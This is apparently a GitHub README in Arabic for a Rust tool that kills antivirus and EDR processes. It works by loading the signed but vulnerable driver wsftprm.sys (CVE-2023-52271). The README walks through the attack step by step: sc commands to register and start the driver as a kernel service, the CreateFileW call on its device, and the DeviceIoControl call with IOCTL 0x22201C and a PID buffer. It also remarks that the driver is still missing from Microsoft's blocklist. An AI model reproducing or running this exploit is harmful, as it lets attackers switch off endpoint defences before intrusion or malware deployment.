
إنهاء عمليات AV/EDR عن طريق استغلال برنامج تشغيل ضعيف (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
يوضح هذا المشروع كيف يمكن تسليح برنامج تشغيل شرعي وموقع للوصول إلى مستوى النواة.
wsftprm.sys ، موقع من قبل TPZ SOLUCOES DIGITAIS LTDA، وكان سابقًا عرضة لثغرة تصعيد الامتيازات المحلية التي تم الكشف عنها علنًا باسم CVE-2023-52271، ولكن بطريقة ما لا يزال غير موجود في قائمة حظر برامج التشغيل من Microsoft!! 🤫🤫
يتم تشغيل الثغرة عبر رمز IOCTL 0x22201C مع مخزن مؤقت بحجم 1036 بايت حيث تحتوي أول 4 بايتات على معرف العملية المستهدفة كـ DWORD. عند استلام هذا IOCTL الخبيث عبر DeviceIoControl، يستدعي برنامج التشغيل الثغري الدالة المستوردة ZwTerminateProcess، مما يمنح أي تطبيق في وضع المستخدم قدرات إنهاء العمليات على مستوى النواة.
سيعطي أي ممثل تهديد عاقل الأولوية لهذه القدرة لإنهاء عمليات برامج مكافحة الفيروسات (AV) والكشف والاستجابة للنقاط الطرفية (EDR) الحيوية.
قم بتشغيل cmd.exe بصلاحيات المسؤول، وسجل خدمة برنامج تشغيل kernel مع نوع "kernel" و binPath يشير إلى موقع برنامج التشغيل الثغري.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
بمجرد التحميل، يقوم برنامج التشغيل بإنشاء رابط رمزي يمكن الوصول إليه من وضع المستخدم باسم \.\Warsaw_PM. والذي يمكننا استخدامه للحصول على مقبض لجهاز برنامج التشغيل باستخدام استدعاء API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
لإرسال IOCTLs الخبيثة، سنستخدم DeviceIoControl مع رمز 0x22201C، ومخزن مؤقت يحتوي على PID في أول 4 بايتات.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release لإنشاء الملف الثنائي.
يمكنك إضافة عمليات إضافية إلى قائمة الأهداف للإنهاء.
أنت مسؤول عن ضمان الحصول على إذن مناسب قبل استخدام هذه الأداة. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
المساهمات والاقتراحات مرحب بها! إذا كانت لديك أفكار أو تحسينات أو ترغب في التعاون، فلا تتردد في التواصل على: [email protected]